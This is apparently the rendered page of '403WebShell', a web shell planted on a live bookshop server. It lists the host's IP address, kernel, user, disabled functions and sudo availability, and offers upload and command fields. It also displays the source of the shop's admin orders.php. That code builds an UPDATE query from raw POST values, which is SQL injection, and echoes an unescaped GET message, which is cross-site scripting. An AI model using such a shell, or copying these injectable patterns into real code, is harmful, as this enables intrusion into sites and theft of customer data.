Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/book.gyaniguru.org/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/book.gyaniguru.org/admin/orders.php
<?php
include 'includes/header.php';

// Handle status update
if (isset($_POST['update_status'])) {
    $order_id = $_POST['order_id'];
    $status = $_POST['status'];
    $conn->query("UPDATE orders SET status = '$status' WHERE id = $order_id");
    echo "<script>window.location.href='orders.php?msg=Order status updated';</script>";
}

$orders = get_all("SELECT o.*, u.name as user_name, u.email as user_email, u.phone as user_phone 
                   FROM orders o 
                   JOIN users u ON o.user_id = u.id 
                   ORDER BY o.order_date DESC");
?>

<style>
    .modal-header { background: var(--maroon); color: white; border: none; }
    .modal-title { font-family: 'Inter', sans-serif; font-weight: 700; }
    .table-sm td, .table-sm th { padding: 10px; border-bottom: 1px solid var(--cream-dark); }
</style>

<?php if(isset($_GET['msg'])): ?>
    <div class="alert alert-success py-2 mb-4" style="font-size: 0.9rem;">
        <i class="bi bi-check-circle me-2"></i> <?php echo $_GET['msg']; ?>
    </div>
<?php endif; ?>

<div class="admin-card">
    <div class="table-responsive">
        <table class="table table-custom">
            <thead>
                <tr>
                    <th>Order ID</th>
                    <th>Customer</th>
                    <th>Total</th>
                    <th>Date</th>
                    <th>Status</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach($orders as $order): ?>
                <tr>
                    <td>
                        <div style="font-weight:600; color: var(--maroon);">#ORD-<?php echo $order['id']; ?></div>
                        <div class="text-muted" style="font-size:0.75rem">
                            <?php echo $order['payment_method']; ?>
                            <?php if ($order['payment_method'] === 'Online'): ?>
                                <span class="badge bg-success ms-1" style="font-size:0.6rem"><?php echo $order['payment_status'] ?? 'paid'; ?></span>
                            <?php endif; ?>
                        </div>
                    </td>
                    <td>
                        <div style="font-weight: 600; color: var(--text-dark);"><?php echo $order['user_name']; ?></div>
                        <div style="font-size:0.75rem; color: var(--text-medium);"><?php echo $order['user_phone']; ?></div>
                    </td>
                    <td style="font-weight:700; color: var(--gerua-deep);">₹<?php echo number_format($order['total_amount'], 2); ?></td>
                    <td style="font-size:0.85rem; color: var(--text-medium);"><?php echo date('d M Y, h:i A', strtotime($order['order_date'])); ?></td>
                    <td>
                        <form action="" method="POST" class="d-inline">
                            <input type="hidden" name="order_id" value="<?php echo $order['id']; ?>">
                            <select name="status" class="form-select form-select-sm border-secondary text-dark" style="font-size: 0.75rem; width: 120px; background: var(--warm-white);" onchange="this.form.submit()">
                                <option value="Pending" <?php echo $order['status'] == 'Pending' ? 'selected' : ''; ?>>Pending</option>
                                <option value="Processing" <?php echo $order['status'] == 'Processing' ? 'selected' : ''; ?>>Processing</option>
                                <option value="Shipped" <?php echo $order['status'] == 'Shipped' ? 'selected' : ''; ?>>Shipped</option>
                                <option value="Delivered" <?php echo $order['status'] == 'Delivered' ? 'selected' : ''; ?>>Delivered</option>
                                <option value="Cancelled" <?php echo $order['status'] == 'Cancelled' ? 'selected' : ''; ?>>Cancelled</option>
                            </select>
                            <input type="hidden" name="update_status" value="1">
                        </form>
                    </td>
                    <td>
                        <button type="button" class="btn-action bg-gold bg-opacity-10 text-dark" data-bs-toggle="modal" data-bs-target="#orderModal<?php echo $order['id']; ?>">
                            <i class="bi bi-eye-fill"></i>
                        </button>

                        <!-- Order Detail Modal -->
                        <div class="modal fade" id="orderModal<?php echo $order['id']; ?>" tabindex="-1">
                            <div class="modal-dialog modal-lg">
                                <div class="modal-content shadow-lg border-0" style="border-radius: 15px; overflow: hidden;">
                                    <div class="modal-header">
                                        <h5 class="modal-title">Order Details #ORD-<?php echo $order['id']; ?></h5>
                                        <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
                                    </div>
                                    <div class="modal-body p-4">
                                        <div class="row g-4 mb-4">
                                            <div class="col-md-6">
                                                <h6 class="text-uppercase fw-bold mb-3" style="color: var(--maroon); font-size: 0.8rem; letter-spacing: 1px;">Customer Info</h6>
                                                <p class="mb-1 fw-bold"><?php echo $order['user_name']; ?></p>
                                                <p class="mb-1 text-muted small"><?php echo $order['user_email']; ?></p>
                                                <p class="mb-1 text-muted small"><?php echo $order['user_phone']; ?></p>
                                            </div>
                                            <div class="col-md-6">
                                                <h6 class="text-uppercase fw-bold mb-3" style="color: var(--maroon); font-size: 0.8rem; letter-spacing: 1px;">Shipping Address</h6>
                                                <p class="mb-0 text-muted small" style="white-space: pre-line;"><?php echo $order['shipping_address']; ?></p>
                                            </div>
                                        </div>
                                        <div class="row g-4 mb-4">
                                            <div class="col-md-6">
                                                <h6 class="text-uppercase fw-bold mb-3" style="color: var(--maroon); font-size: 0.8rem; letter-spacing: 1px;">Payment Info</h6>
                                                <p class="mb-1 small">Method: <strong><?php echo $order['payment_method']; ?></strong></p>
                                                <?php if ($order['payment_method'] === 'Online'): ?>
                                                <p class="mb-1 small">Status: <strong class="text-success"><?php echo $order['payment_status'] ?? 'paid'; ?></strong></p>
                                                <p class="mb-1 small">Razorpay Payment ID: <code><?php echo $order['razorpay_payment_id']; ?></code></p>
                                                <p class="mb-1 small">Razorpay Order ID: <code><?php echo $order['razorpay_order_id']; ?></code></p>
                                                <?php endif; ?>
                                            </div>
                                        </div>
                                        
                                        <h6 class="text-uppercase fw-bold mb-3" style="color: var(--maroon); font-size: 0.8rem; letter-spacing: 1px;">Order Items</h6>
                                        <div class="table-responsive">
                                            <table class="table table-sm">
                                                <thead style="background: var(--warm-white);">
                                                    <tr>
                                                        <th>Book</th>
                                                        <th class="text-center">Qty</th>
                                                        <th class="text-end">Price</th>
                                                        <th class="text-end">Subtotal</th>
                                                    </tr>
                                                </thead>
                                                <tbody>
                                                    <?php 
                                                        $items = get_all("SELECT oi.*, b.title FROM order_items oi JOIN books b ON oi.book_id = b.id WHERE oi.order_id = {$order['id']}");
                                                        foreach($items as $item):
                                                    ?>
                                                    <tr>
                                                        <td style="font-size: 0.9rem;"><?php echo $item['title']; ?></td>
                                                        <td class="text-center"><?php echo $item['quantity']; ?></td>
                                                        <td class="text-end">₹<?php echo $item['price']; ?></td>
                                                        <td class="text-end">₹<?php echo number_format($item['price'] * $item['quantity'], 2); ?></td>
                                                    </tr>
                                                    <?php endforeach; ?>
                                                </tbody>
                                                <tfoot>
                                                    <tr>
                                                        <th colspan="3" class="text-end border-0 pt-3">Total Amount:</th>
                                                        <th class="text-end border-0 pt-3 h5" style="color: var(--maroon)">₹<?php echo number_format($order['total_amount'], 2); ?></th>
                                                    </tr>
                                                </tfoot>
                                            </table>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </td>
                </tr>
                <?php endforeach; if(empty($orders)) echo '<tr><td colspan="6" class="text-center py-5">No orders found.</td></tr>'; ?>
            </tbody>
        </table>
    </div>
</div>

<?php include 'includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit